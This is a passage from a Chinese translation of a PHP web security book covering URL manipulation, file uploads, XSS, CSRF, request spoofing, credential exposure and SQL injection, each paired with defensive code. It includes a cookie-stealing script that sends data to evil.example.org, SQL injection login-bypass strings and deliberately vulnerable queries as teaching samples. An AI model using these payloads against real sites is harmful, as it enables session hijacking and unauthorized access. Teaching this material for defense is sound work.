URL,实际上通过 HTML 表单的 GET 请求方式发送数据与用户直接点击链接并没有什么不同。 记住如果你在 GET 方式提交的表单中的 action 中试图使用请求串,它会被 表单中的数据所取代。 而且,如果你指定了一个非法的请求方式,或者请求方式属性未写,浏览器 则会默认以 GET 方式提交数据。 《PHP 安全基础详解》 www.528163.cn 提供 为说明 POST 请求方式,只对上例进行简单的更改,考虑把 GET 请求方式 更改为 POST 的情况: <form action="http://example.org/login.php" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" /></p> </form> 如果我再次指定用户名 chris 和密码 mypass,在提交表单后,我会来到 http://example.org/login.php 页面。表单数据在请求的内部而不是一个 URL 的请 求串。该方式最简单的合法 HTTP/1.1 请求信息如下 POST /login.php HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 30 username=chris&password=mypass 现在你已看到用户向你的应用提供数据的主要方式。在下面的小节中,我们 将会讨论攻击者是如何利用你的表单和 URL 作为进入你的应用的缺口的。 2.2. 语义 URL 攻击 好奇心是很多攻击者的主要动机,语义 URL 攻击就是一个很好的例子。此 类攻击主要包括对 URL 进行编辑以期发现一些有趣的事情。例如,如果用户 chris 点击了你的软件中的一个链接并到达了页面 http://example.org/private.php?user=chris, 很自然地他可能会试图改变 user 的值, 看看会发生什么。例如,他可能访问 http://example.org/private.php?user=rasmus 来看一下他是否能看到其他人的信息。虽然对 GET 数据的操纵只是比对 POST 数据稍为方便,但它的暴露性决定了它更为频繁的受攻击,特别是对于攻击的新 手而言。 大多数的漏洞是由于疏漏而产生的,而不是特别复杂的原因引起的。虽然很 多有经验的程序员能轻易地意识到上面所述的对 URL 的信任所带来的危险,但 是常常要到别人指出才恍然大悟。 为了更好地演示语义 URL 攻击及漏洞是如何被疏忽的,以一个 Webmail 系 统为例,该系统主要功能是用户登录察看他们自己的邮件。任何基于用户登录的 系统都需要一个密码找回机制。通常的方法是询问一个攻击者不可能知道的问题 (如你的计算机的品牌等,但如果能让用户自己指定问题和答案更佳),如果问 题回答正确,则把新的密码发送到注册时指定的邮件地址。 对于一个 Webmail 系统,可能不会在注册时指定邮件地址,因此正确回答问 《PHP 安全基础详解》 www.528163.cn 提供 题的用户会被提示提供一个邮件地址(在向该邮件地址发送新密码的同时,也可 以收集备用邮件地址信息)。下面的表单即用于询问一个新的邮件地址,同时他 的帐户名称存在表单的一个隐藏字段中: <form action="reset.php" method="GET"> <input type="hidden" name="user" value="chris" /> <p>Please specify the email address where you want your new password sent:</p> <input type="text" name="email" /><br /> <input type="submit" value="Send Password" /> </form> 可以看出,接收脚本 reset.php 会得到所有信息,包括重置哪个帐号的密码、 并给出将新密码发送到哪一个邮件地址。 如果一个用户能看到上面的表单(在回答正确问题后),你有理由认为他是 chris 帐号的合法拥有者。如果他提供了 chris@example.org 作为备用邮件地址, 在提交后他将进入下面的 URL: http://example.org/reset.php?user=chris&email=chris%40example.org 该 URL 出现在浏览器栏中,所以任何一位进行到这一步的用户都能够方便 地看出其中的 user 和 mail 变量的作用。当意思到这一点后,这位用户就想到 php@example.org 是一个非常酷的地址,于是他就会访问下面链接进行尝试: http://example.org/reset.php?user=php&email=chris%40example.org 如果 reset.php 信任了用户提供的这些信息,这就是一个语义 URL 攻击漏洞。 在此情况下,系统将会为 php 帐号产生一个新密码并发送至 chris@example.org, 这样 chris 成功地窃取了 php 帐号。 如果使用 session 跟踪,可以很方便地避免上述情况的发生: <?php session_start(); $clean = array(); $email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i'; if (preg_match($email_pattern, $_POST['email'])) { $clean['email'] = $_POST['email']; $user = $_SESSION['user']; 《PHP 安全基础详解》 www.528163.cn 提供 $new_password = md5(uniqid(rand(), TRUE)); if ($_SESSION['verified']) { /* Update Password */ mail($clean['email'], 'Your New Password', $new_password); } } ?> 尽管上例省略了一些细节(如更详细的 email 信息或一个合理的密码),但 它示范了对用户提供的帐户不加以信任,同时更重要的是使用 session 变量为保 存用户是否正确回答了问题($_SESSION['verified']),以及正确回答问题的用户 ($_SESSION['user'])。正是这种不信任的做法是防止你的应用产生漏洞的关键。 这个实例并不是完全虚构的。它是从 2003 年 5 月发现的 Microsoft Passport 的漏洞中得到的灵感。请访问 http://slashdot.org/article.pl?sid=03/05/08/122208 看 具体实例、讨论及其它信息。 2.3. 文件上传攻击 文件上传攻击 文件上传攻击 文件上传攻击 有时在除了标准的表单数据外,你还需要让用户进行文件上传。由于文件在 表单中传送时与其它的表单数据不同,你必须指定一个特别的编码方式 multipart/form-data: <form action="upload.php" method="POST" enctype="multipart/form-data"> 一个同时有普通表单数据和文件的表单是一个特殊的格式,而指定编码方式 可以使浏览器能按该可格式的要求去处理。 允许用户进行选择文件并上传的表单元素是很简单的: <input type="file" name="attachment" /> 该元素在各种浏览器中的外观表现形式各有不同。传统上,界面上包括一个 标准的文本框及一个浏览按钮,以使用户能直接手工录入文件的路径或通过浏览 选择。在 Safari 浏览器中只有浏览按钮。幸运的是,它们的作用与行为是相同的。 为了更好地演示文件上传机制,下面是一个允许用户上传附件的例子: 《PHP 安全基础详解》 www.528163.cn 提供 <form action="upload.php" method="POST" enctype="multipart/form-data"> <p>Please choose a file to upload: <input type="hidden" name="MAX_FILE_SIZE" value="1024" /> <input type="file" name="attachment" /><br /> <input type="submit" value="Upload Attachment" /></p> </form> 隐藏的表单变量 MAX_FILE_SIZE 告诉了浏览器最大允许上传的文件大小。 与很多客户端限制相同,这一限制很容易被攻击者绕开,但它可以为合法用户提 供向导。在服务器上进行该限制才是可靠的。 PHP 的配置变量中,upload_max_filesize 控制最大允许上传的文件大小。同 时 post_max_size(POST 表单的最大提交数据的大小)也能潜在地进行控制,因 为文件是通过表单数据进行上传的。 接收程序 upload.php 显示了超级全局数组$_FILES 的内容: <?php header('Content-Type: text/plain'); print_r($_FILES); ?> 为了理解上传的过程,我们使用一个名为 author.txt 的文件进行测试,下面 是它的内容: Chris Shiflett http://shiflett.org/ 当你上传该文件到 upload.php 程序时,你可以在浏览器中看到类似下面的输 出: Array ( [attachment] => Array ( [name] => author.txt [type] => text/plain [tmp_name] => /tmp/phpShfltt [error] => 0 [size] => 36 ) 《PHP 安全基础详解》 www.528163.cn 提供 ) 虽然从上面可以看出 PHP 实际在超级全局数组$_FILES 中提供的内容,但 是它无法给出表单数据的原始信息。作为一个关注安全的开发者,需要识别输入 以知道浏览器实际发送了什么,看一下下面的 HTTP 请求信息是很有必要的: POST /upload.php HTTP/1.1 Host: example.org Content-Type: multipart/form-data; boundary=----------12345 Content-Length: 245 ----------12345 Content-Disposition: form-data; name="attachment"; filename="author.txt" Content-Type: text/plain Chris Shiflett http://shiflett.org/ ----------12345 Content-Disposition: form-data; name="MAX_FILE_SIZE" 1024 ----------12345-- 虽然你没有必要理解请求的格式,但是你要能识别出文件及相关的元数据。 用户只提供了名称与类型,因此 tmp_name,error 及 size 都是 PHP 所提供的。 由于 PHP 在文件系统的临时文件区保存上传的文件(本例中是 /tmp/phpShfltt),所以通常进行的操作是把它移到其它地方进行保存及读取到内 存。如果你不对 tmp_name 作检查以确保它是一个上传的文件(而不是/etc/passwd 之类的东西),存在一个理论上的风险。之所以叫理论上的风险,是因为没有一 种已知的攻击手段允许攻击者去修改 tmp_name 的值。但是,没有攻击手段并不 意味着你不需要做一些简单的安全措施。新的攻击手段每天在出现,而简单的一 个步骤能保护你的系统。 PHP 提供了两个方便的函数以减轻这些理论上的风险:is_uploaded_file( ) and move_uploaded_file( )。如果你需要确保 tmp_name 中的文件是一个上传的文 件,你可以用 is_uploaded_file( ): <?php $filename = $_FILES['attachment']['tmp_name']; if (is_uploaded_file($filename)) { 《PHP 安全基础详解》 www.528163.cn 提供 /* $_FILES['attachment']['tmp_name'] is an uploaded file. */ } ?> 如果你希望只把上传的文件移到一个固定位置,你可以使用 move_uploaded_file( ): <?php $old_filename = $_FILES['attachment']['tmp_name']; $new_filename = '/path/to/attachment.txt'; if (move_uploaded_file($old_filename, $new_filename)) { /* $old_filename is an uploaded file, and the move was successful. */ } ?> 最后你可以用 filesize( ) 来校验文件的大小: <?php $filename = $_FILES['attachment']['tmp_name']; if (is_uploaded_file($filename)) { $size = filesize($filename); } ?> 这些安全措施的目的是加上一层额外的安全保护层。最佳的方法是永远尽可 能少地去信任。 2.4. 跨站脚本攻击 跨站脚本攻击 跨站脚本攻击 跨站脚本攻击 跨站脚本攻击是众所周知的攻击方式之一。所有平台上的 Web 应用都深受 其扰,PHP 应用也不例外。 所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是 Blog。 事实上,大多数 Web 应用提供输入是出于更吸引人气的目的,但同时这也会把 自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生 了。 以一个允许在每个页面上录入评论的应用为例,它使用了下面的表单帮助用 户进行提交: <form action="comment.php" method="POST" /> <p>Name: <input type="text" name="name" /><br /> Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> 《PHP 安全基础详解》 www.528163.cn 提供 <input type="submit" value="Add Comment" /></p> </form> 程序向其他访问该页面的用户显示评论。例如,类似下面的代码段可能被用 来输出一个评论($comment)及与之对应的发表人($name): <?php echo "<p>$name writes:<br />"; echo "<blockquote>$comment</blockquote></p>"; ?> 这个流程对$comment 及$name 的值给予了充分的信任,想象一下它们中的 一个的内容中包含如下代码: <script> document.location = 'http://evil.example.org/steal.php?cookies=' + document.cookie </script> 如果你的用户察看这个评论时,这与你允许别人在你的网站源程序中加入 Javascript 代码无异。你的用户会在不知不觉中把他们的 cookies(浏览网站的人) 发送到 evil.example.org,而接收程序(steal.php)可以通过$_GET['cookies']变量防 问所有的 cookies。 这是一个常见的错误,主要是由于不好的编程习惯引发的。幸运的是此类错 误很容易避免。由于这种风险只在你输出了被污染数据时发生,所以只要确保做 到如第一章所述的过滤输入及转义输出即可 最起码你要用 htmlentities( )对任何你要输出到客户端的数据进行转义。该函 数可以把所有的特殊字符转换成 HTML 表示方式。所有会引起浏览器进行特殊 处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。 由此,用下面的代码来显示评论是更安全的: <?php $clean = array(); $html = array(); /* Filter Input ($name, $comment) */ $html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8'); $html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8'); echo "<p>{$html['name']} writes:<br />"; echo "<blockquote>{$html['comment']}</blockquote></p>"; 《PHP 安全基础详解》 www.528163.cn 提供 ?> 2.5. 跨站请求伪造 跨站请求伪造 跨站请求伪造 跨站请求伪造 跨站请求伪造(CSRF)是一种允许攻击者通过受害者发送任意 HTTP 请求的 一类攻击方法。此处所指的受害者是一个不知情的同谋,所有的伪造请求都由他 发起,而不是攻击者。这样,很你就很难确定哪些请求是属于跨站请求伪造攻击。 事实上,如果没有对跨站请求伪造攻击进行特意防范的话,你的应用很有可能是 有漏洞的。 请看下面一个简单的应用,它允许用户购买钢笔或铅笔。界面上包含下面的 表单: <form action="buy.php" method="POST"> <p> Item: <select name="item"> <option name="pen">pen</option> <option name="pencil">pencil</option> </select><br /> Quantity: <input type="text" name="quantity" /><br /> <input type="submit" value="Buy" /> </p> </form> 一个攻击者会首先使用你的应用以收集一些基本信息。例如,攻击者首先访 问表单并发现两个表单元素 item 及 quantity,他也同时知道了 item 的值会是铅笔 或是钢笔。 下面的 buy.php 程序处理表单的提交信息: <?php session_start(); $clean = array(); if (isset($_REQUEST['item'] && isset($_REQUEST['quantity'])) { /* Filter Input ($_REQUEST['item'], $_REQUEST['quantity']) */ if (buy_item($clean['item'], $clean['quantity'])) { echo '<p>Thanks for your purchase.</p>'; } else { echo '<p>There was a problem with your order.</p>'; 《PHP 安全基础详解》 www.528163.cn 提供 } } ?> 攻击者会首先使用这个表单来观察它的动作。例如,在购买了一支铅笔后, 攻击者知道了在购买成功后会出现感谢信息。注意到这一点后,攻击者会尝试通 过访问下面的 URL 以用 GET 方式提交数据是否能达到同样的目的: http://store.example.org/buy.php?item=pen&quantity=1 如果能成功的话,攻击者现在就取得了当合法用户访问时,可以引发购买的 URL 格式。在这种情况下,进行跨站请求伪造攻击非常容易,因为攻击者只要 引发受害者访问该 URL 即可。 虽然有多种发起跨站请求伪造攻击的方式,但是使用嵌入资源如图片的方式 是最普遍的。为了理解这个攻击的过程,首先有必要了解浏览器请求这些资源的 方式。 当你访问 http://www.google.com (图 2-1),你的浏览器首先会请求这个 URL 所标识的资源。你可以通过查看该页的源文件(HTML)的方式来看到该请求的 返回内容。在浏览器解析了返回内容后发现了 Google 的标志图片。这个图片是 以 HTML 的 img 标签表示的,该标签的 src 属性表示了图片的 URL。浏览器于 是再发出对该图片的请求,以上这两次请求间的不同点只是 URL 的不同。 图 2-1. Google 的首页 A CSRF attack can use an img tag to leverage this behavior. Consider visiting a web site with the following image identified in the source: 根据上面的原理,跨站请求伪造攻击可以通过 img 标签来实现。考虑一下如 果访问包括下面的源代码的网页会发生什么情况: 由于 buy.php 脚本使用$_REQUEST 而不是$_POST,这样每一个只要是登录 在 store.example.org 商店上的用户就会通过请求该 URL 购买 50 支铅笔。 跨站请求伪造攻击的存在是不推荐使用$_REQUEST 的原因之一。 完整的攻击过程见图 2-2。 图 2-2. 通过图片引发的跨站请求伪造攻击 当请求一个图片时,某些浏览器会改变请求头部的 Accept 值以给图片类型 以一个更高的优先权。需要采用保护措施以防止这种情况的发生。 《PHP 安全基础详解》 www.528163.cn 提供 你需要用几个步骤来减轻跨站请求伪造攻击的风险。一般的步骤包括使用 POST 方式而不是使用 GET 来提交表单,在处理表单提交时使用$_POST 而不是 $_REQUEST,同时需要在重要操作时进行验证(越是方便,风险越大,你需要 求得方便与风险之间的平衡)。 任何需要进行操作的表单都要使用 POST 方式。在 RFC 2616(HTTP/1.1 传送 协议,译注)的 9.1.1 小节中有一段描述: “特别需要指出的是,习惯上 GET 与 HEAD 方式不应该用于引发一个操作, 而只是用于获取信息。这些方式应该被认为是‘安全’的。客户浏览器应以特殊 的方式,如 POST,PUT 或 DELETE 方式来使用户意识到正在请求进行的操作 可能是不安全的。” 最重要的一点是你要做到能强制使用你自己的表单进行提交。尽管用户提交 的数据看起来象是你表单的提交结果,但如果用户并不是在最近调用的表单,这 就比较可疑了。请看下面对前例应用更改后的代码: <?php session_start(); $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; $_SESSION['token_time'] = time(); ?> <form action="buy.php" method="POST"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <p> Item: <select name="item"> <option name="pen">pen</option> <option name="pencil">pencil</option> </select><br /> Quantity: <input type="text" name="quantity" /><br /> <input type="submit" value="Buy" /> </p> </form> 通过这些简单的修改,一个跨站请求伪造攻击就必须包括一个合法的验证码 以完全模仿表单提交。由于验证码的保存在用户的 session 中的,攻击者必须对 每个受害者使用不同的验证码。这样就有效的限制了对一个用户的任何攻击,它 要求攻击者获取另外一个用户的合法验证码。使用你自己的验证码来伪造另外一 个用户的请求是无效的。 《PHP 安全基础详解》 www.528163.cn 提供 该验证码可以简单地通过一个条件表达式来进行检查: <?php if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']) { /* Valid Token */ } ?> 你还能对验证码加上一个有效时间限制,如 5 分钟: <?php $token_age = time() - $_SESSION['token_time']; if ($token_age <= 300) { /* Less than five minutes has passed. */ } ?> 通过在你的表单中包括验证码,你事实上已经消除了跨站请求伪造攻击的风 险。可以在任何需要执行操作的任何表单中使用这个流程。 尽管我使用 img 标签描述了攻击方法,但跨站请求伪造攻击只是一个总称, 它是指所有攻击者通过伪造他人的 HTTP 请求进行攻击的类型。已知的攻击方法 同时包括对 GET 和 POST 的攻击,所以不要认为只要严格地只使用 POST 方式 就行了。 2.6. 欺骗表单提交 欺骗表单提交 欺骗表单提交 欺骗表单提交 制造一个欺骗表单几乎与假造一个 URL 一样简单。毕竟,表单的提交只是 浏览器发出的一个 HTTP 请求而已。请求的部分格式取决于表单,某些请求中的 数据来自于用户。 大多数表单用一个相对 URL 地址来指定 action 属性: 当表单提交时,浏览器会请求 action 中指定的 URL,同时它使用当前的 URL 地址来定位相对 URL。例如,如果之前的表单是对 http://example.org/path/to/form.php 请求的回应所产生的,则在用户提交表单后会 请求 URL 地址 http://example.org/path/to/process.php。 知道了这一点,很容易就能想到你可以指定一个绝对地址,这样表单就可以 放在任何地方了: 《PHP 安全基础详解》 www.528163.cn 提供 这个表单可以放在任何地方,并且使用这个表单产生的提交与原始表单产生 的提交是相同的。意识到这一点,攻击者可以通过查看页面源文件并保存在他的 服务器上,同时将 action 更改为绝对 URL 地址。通过使用这些手段,攻击者可 以任意更改表单,如取消最大字段长度限制,取消本地验证代码,更改隐藏字段 的值,或者出于更加灵活的目的而改写元素类型。这些更改帮助攻击者向服务器 提交任何数据,同时由于这个过程非常简便易行,攻击者无需是一个专家即可做 到。 欺骗表单攻击是不能防止的,尽管这看起来有点奇怪,但事实上如此。不过 这你不需要担心。一旦你正确地过滤了输入,用户就必须要遵守你的规则,这与 他们如何提交无关。 如果你试验这个技巧时,你可能会注意到大多数浏览器会在 HTTP 头部包括 一个 Referer 信息以标识前一个页面的地址。在本例中,Referer 的值是表单的 URL 地址。请不要被它所迷惑而用它来区分你的表单提交还是欺骗表单提交。 在下一节的演示中,可以看到 HTTP 头部的也是非常容易假造的,而使用 Referer 来判定的方式又是众所周知的。 2.7. HTTP 请求欺骗 请求欺骗 请求欺骗 请求欺骗 一个比欺骗表单更高级和复杂的攻击方式是 HTTP 请求欺骗。这给了攻击者 完全的控制权与灵活性,它进一步证明了不能盲目信任用户提交的任何数据。 为了演示这是如何进行的,请看下面位于 http://example.org/form.php的表单: <form action="process.php" method="POST"> <p>Please select a color: <select name="color"> <option value="red">Red</option> <option value="green">Green</option> <option value="blue">Blue</option> </select><br /> <input type="submit" value="Select" /></p> </form> 如果用户选择了 Red 并点击了 Select 按钮后,浏览器会发出下面的 HTTP 请求: POST /process.php HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 (X11; U; Linux i686) Referer: http://example.org/form.php 《PHP 安全基础详解》 www.528163.cn 提供 Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=red . 看到大多数浏览器会包含一个来源的 URL 值,你可能会试图使用 $_SERVER['HTTP_REFERER']变量去防止欺骗。确实,这可以用于对付利用标 准浏览器发起的攻击,但攻击者是不会被这个小麻烦给挡住的。通过编辑 HTTP 请求的原始信息,攻击者可以完全控制 HTTP 头部的值,GET 和 POST 的数据, 以及所有在 HTTP 请求的内容。 攻击者如何更改原始的 HTTP 请求?过程非常简单。通过在大多数系统平台 上都提供的 Telnet 实用程序,你就可以通过连接网站服务器的侦听端口(典型的 端口为 80)来与 Web 服务器直接通信。下面就是使用这个技巧请求 http://example.org/页面的例子: $ telnet example.org 80 Trying 192.0.34.166... Connected to example.org (192.0.34.166). Escape character is '^]'. GET / HTTP/1.1 Host: example.org HTTP/1.1 200 OK Date: Sat, 21 May 2005 12:34:56 GMT Server: Apache/1.3.31 (Unix) Accept-Ranges: bytes Content-Length: 410 Connection: close Content-Type: text/html <html> <head> <title>Example Web Page</title> </head> <body> <p>You have reached this web page by typing "example.com", "example.net", or "example.org" into your web browser.</p> <p>These domain names are reserved for use in documentation and are not available for registration. See <a href="http://www.rfc-editor.org/rfc/rfc2606.txt">RFC 2606</a>, Section 3.</p> </body> </html> Connection closed by foreign host. $ 《PHP 安全基础详解》 www.528163.cn 提供 上例中所显示的请求是符合 HTTP/1.1 规范的最简单的请求,这是因为 Host 信息是头部信息中所必须有的。一旦你输入了表示请求结束的连续两个换行符, 整个 HTML 的回应即显示在屏幕上。 Telnet 实用程序不是与 Web 服务器直接通信的唯一方法,但它常常是最方便 的。可是如果你用 PHP 编码同样的请求,你可以就可以实现自动操作了。前面 的请求可以用下面的 PHP 代码实现: <?php $http_response = ''; $fp = fsockopen('example.org', 80); fputs($fp, "GET / HTTP/1.1\r\n"); fputs($fp, "Host: example.org\r\n\r\n"); while (!feof($fp)) { $http_response .= fgets($fp, 128); } fclose($fp); echo nl2br(htmlentities($http_response, ENT_QUOTES, 'UTF-8')); ?> 当然,还有很多方法去达到上面的目的,但其要点是 HTTP 是一个广为人知 的标准协议,稍有经验的攻击者都会对它非常熟悉,并且对常见的安全漏洞的攻 击方法也很熟悉。 相对于欺骗表单,欺骗 HTTP 请求的做法并不多,对它不应该关注。我讲述 这些技巧的原因是为了更好的演示一个攻击者在向你的应用输入恶意信息时是 如何地方便。这再次强调了过滤输入的重要性和 HTTP 请求提供的任何信息都是 不可信的这个事实。 第三章 第三章 第三章 第三章 数 数 数 数据库及 据库及 据库及 据库及 SQL PHP 的作用常常是沟通各种数据源及用户的桥梁。事实上,有些人认为 PHP 更像是一个平台而不是一个编程语言。基于这些原因,PHP 频繁用于与数据库的 交流。 PHP 可以很好的胜任这个任务,其原因特别是由于它能与很多种数据库连 接。下面列举了 PHP 支持的小部分数据库: DB2 ODBC 《PHP 安全基础详解》 www.528163.cn 提供 SQLite InterBase Oracle Sybase MySQL PostgreSQL DBM 与任何的远程数据存储方式相同,数据库本身也存在着一些风险。尽管数据 库安全不是本书讨论的问题,但数据库安全是需要时刻注意的,特别是关于如何 对待从数据库读取作为输入的数据的问题。 正如第一章所讨论的,所有输入必需要进行过滤,同时所有的输出必须要转 义。当处理数据库时,意味着所有来自数据库的数据要过滤,所有写入数据库的 数据要进行转义。 小提示 常犯的错误是忘记了 SELECT 语句本身是向数据库传送的数据。尽管该语 句的目的是取得数据,但语句本身则是输出。 很多 PHP 开发人员不会去过滤来自数据库的数据,他们认为数据库内保存 的是已过滤的数据。虽然这种做法的安全风险是很小的,但是这不是最好的做法, 同时我也不推荐这样做。这种做法是基于对数据库安全的绝对信任,但同时违反 了深度防范的原则。如果恶意数据由于某些原因被注入了数据库,如果你有过滤 机制的话,就能发现并抓住它。请记住,冗余的安全措施是有价值的,这就是一 个很好的例子。 本章包括了其它几个需要关心的主题,包括访问权限暴露及 SQL 注入。SQL 注入是需要特别关注的,这是因为在流行的 PHP 应用中频繁发现了 SQL 注入漏 洞。 3.1. 访问权限暴露 访问权限暴露 访问权限暴露 访问权限暴露 数据库使用中需要关注的主要问题之一是访问权限即用户名及密码的暴露。 在编程中为了方便,一般都会用一个 db.inc 文件保存,如: <?php $db_user = 'myuser'; $db_pass = 'mypass'; $db_host = '127.0.0.1'; $db = mysql_connect($db_host, $db_user, $db_pass); ?> 《PHP 安全基础详解》 www.528163.cn 提供 用户名及密码都是敏感数据,是需要特别注意的。他们被写在源码中造成了 风险,但这是一个无法避免的问题。如果不这么做,你的数据库就无法设置用户 名和密码进行保护了。 如果你读过 http.conf(Apache 的配置文件)的默认版本的话,你会发现默 认的文件类型是 text/plain(普通文本)。这样,如果 db.inc 这样的文件被保存在 网站根目录下时,就引发了风险。所有位于网站根目录下的资源都有相应的 URL,由于 Apache 没有定义对.inc 后缀的文件的处理方式类型,在对这一类文 件进行访问时,会以普通文本的类型进行返回(默认类型),这样访问权限就被 暴露在客户的浏览器上了。 为了进一步说明这个风险,考虑一下一个以/www 为网站根目录的服务器, 如果 db.inc 被保存在/www/inc,它有了一个自已的 URLhttp://example.org/inc/db.inc(假设 example.org 是主机域名)。通过访问该 URL 就可以看到 db.inc 以文本方式显示的源文件。无论你把该文件保存在/www 哪个 子目录下,都无法避免访问权限暴露的风险。 对这个问题最好的解决方案是把它保存在网站根目录以外的包含目录中。你 无需为了达到包含它们的目的而把它们放至在文件系统中的特定位置,所有只要 做的只是保证 Web 服务器对其有读取权限。因此,把它们放在网站根目录下是 没有必要的风险,只要包含文件还位于网站根目录下,任何减少风险的努力都是 徒劳的。事实上,你只要把必须要通过 URL 访问的资源放置在网站根目录下即 可。毕竟这是一个公共的目录。 前面的话题对于 SQLite 数据库也有用。把数据库保存在当前目录下是非常 方便的,因为你只要调用文件名而无需指定路径。但是,把数据库保存在网站根 目录下就代表着不必要的风险。如果你没有采用安全措施防止直接访问的话,你 的数据库就危险了。 如果由于外部因素导致无法做到把所有包含文件放在网站根目录之外,你可 以在 Apache 配置成拒绝对.inc 资源的请求。 <Files ~ "\.inc$"> Order allow,deny Deny from all </Files> 译注:如果只是因为要举个例子而这么写的话,可以理解,毕竟大家学到了 一些手段,但这个例子未免生硬了一点。实际上只要把该文件更名为 db.inc.php 就可以了。就好象房子破了个洞而不去修补,却在外面去造一个更大的房子把破 房子套起来一样。 在第 8 章中你还可以看到另外一种防止数据库访问权限暴露的方法,该方法 《PHP 安全基础详解》 www.528163.cn 提供 对于共享服务器环境(在该环境下尽管文件位于网站根目录之外,但依然存在暴 露的风险)非常有效。 3.2. SQL 注入 注入 注入 注入 SQL 注入是 PHP 应用中最常见的漏洞之一。事实上令人惊奇的是,开发者 要同时犯两个错误才会引发一个 SQL 注入漏洞,一个是没有对输入的数据进行 过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。 这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行 SQL 注入攻击需要思考和试验,对数据库方案进行 有根有据的推理非常有必要(当然假设攻击者看不到你的源程序和数据库方案), 考虑以下简单的登录表单: CODE: <form action="/login.php" method=";POST"> <p>Username: <input type="text" name="username" /></p> <p>;Password: <input type="password" name="password" /></p> <p><input type="submit" value="Log In" /></p> </form> 图 3-1 给出了该表单在浏览器中的显示。 作为一个攻击者,他会从推测验证用户名和密码的查询语句开始。通过查看 源文件,他就能开始猜测你的习惯。 图 3-1. 登录表单在浏览器中的显示 命名习惯。通常会假设你表单中的字段名为与数据表中的字段名相同。当然, 确保它们不同未必是一个可靠的安全措施。 第一次猜测,一般会使用下面例子中的查询: CODE: <?php $password_hash = md5($_POST['password']); $sql = "SELECT count(*) FROM users WHERE username = '{$_POST['username']}' AND password = '$password_hash'"; ?> 使用用户密码的 MD5 值原来是一个通行的做法,但现在并不是特别安全了。 最近的研究表明 MD5 算法有缺陷,而且大量 MD5 数据库降低了 MD5 反向破解 《PHP 安全基础详解》 www.528163.cn 提供 的难度。请访问 http://md5.rednoize.com/ 查看演示。 译注:原文如此,山东大学教授王小云的研究表明可以很快的找到 MD5 的 “碰撞”,就是可以产生相同的 MD5 值的不同两个文件和字串。MD5 是信息摘 要算法,而不是加密算法,反向破解也就无从谈起了。不过根据这个成果,在上 面的特例中,直接使用 md5 是危险的。 最好的保护方法是在密码上附加一个你自己定义的字符串,例如: <?php $salt = 'SHIFLETT'; $password_hash = md5($salt . md5($_POST['password'] . $salt)); ?> 当然,攻击者未必在第一次就能猜中,他们常常还需要做一些试验。有一个 比较好的试验方式是把单引号作为用户名录入,原因是这样可能会暴露一些重要 信息。有很多开发人员在 Mysql 语句执行出错时会调用函数 mysql_error()来报告 错误。见下面的例子: <?php mysql_query($sql) or exit(mysql_error()); ?> 虽然该方法在开发中十分有用,但它能向攻击者暴露重要信息。如果攻击者 把单引号做为用户名,mypass 做为密码,查询语句就会变成: <?php $sql = "SELECT * FROM users WHERE username = ''' AND password = 'a029d0df84eb5549c641e04a9ef389e5'"; ?> 当该语句发送到 MySQL 后,系统就会显示如下错误信息: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE username = ''' AND password = 'a029d0df84eb55 《PHP 安全基础详解》 www.528163.cn 提供 不费吹灰之力,攻击者已经知道了两个字段名(username 和 password)以及他 们出现在查询中的顺序。除此以外,攻击者还知道了数据没有正确进行过滤(程 序没有提示非法用户名)和转义(出现了数据库错误),同时整个 WHERE 条件 的格式也暴露了,这样,攻击者就可以尝试操纵符合查询的记录了。 在这一点上,攻击者有很多选择。一是尝试填入一个特殊的用户名,以使查 询无论用户名密码是否符合,都能得到匹配: myuser' or 'foo' = 'foo' -- 假定将 mypass 作为密码,整个查询就会变成: <?php $sql = "SELECT * FROM users WHERE username = 'myuser' or 'foo' = 'foo' -- AND password = 'a029d0df84eb5549c641e04a9ef389e5'"; ?> 由于中间插入了一个 SQL 注释标记,所以查询语句会在此中断。这就允许 了一个攻击者在不知道任何合法用户名和密码的情况下登录。 如果知道合法的用户名,攻击者就可以该用户(如 chris)身份登录: chris' -- 只要 chris 是合法的用户名,攻击者就可以控制该帐号。原因是查询变成了 下面的样子: <?php $sql = "SELECT * FROM users WHERE username = 'chris' -- AND password = 'a029d0df84eb5549c641e04a9ef389e5'"; ?> 幸运的是,SQL 注入是很容易避免的。正如第一章所提及的,你必须坚持 过滤输入和转义输出。 虽然两个步骤都不能省略,但只要实现其中的一个就能消除大多数的 SQL 注入风险。如果你只是过滤输入而没有转义输出,你很可能会遇到数据库错误(合 法的数据也可能影响 SQL 查询的正确格式),但这也不可靠,合法的数据还可能 《PHP 安全基础详解》 www.528163.cn 提供 改变 SQL 语句的行为。另一方面,如果你转义了输出,而没有过滤输入,就能 保证数据不会影响 SQL 语句的格式,同时也防止了多种常见 SQL 注入攻击的方 法。 当然,还是要坚持同时使用这两个步骤。过滤输入的方式完全取决于输入数 据的类型(见第一章的示例),但转义用于向数据库发送的输出数据只要使用同 一个函数即可。对于 MySQL 用户,可以使用函数 mysql_real_escape_string( ): <?php $clean = array(); $mysql = array(); $clean['last_name'] = "O'Reilly"; $mysql['last_name'] = mysql_real_escape_string($clean['last_name']); $sql = "INSERT INTO user (last_name) VALUES ('{$mysql['last_name']}')"; ?> 尽量使用为你的数据库设计的转义函数。如果没有,使用函数 addslashes( ) 是最终的比较好的方法。 当所有用于建立一个 SQL 语句的数据被正确过滤和转义时,实际上也就避 免了 SQL 注入的风险。 如果你正在使用支持参数化查询语句和占位符的数据库操作类(如 PEAR::DB, PDO 等),你就会多得到一层保护。见下面的使用 PEAR::DB 的例子: <?php $sql = 'INSERT 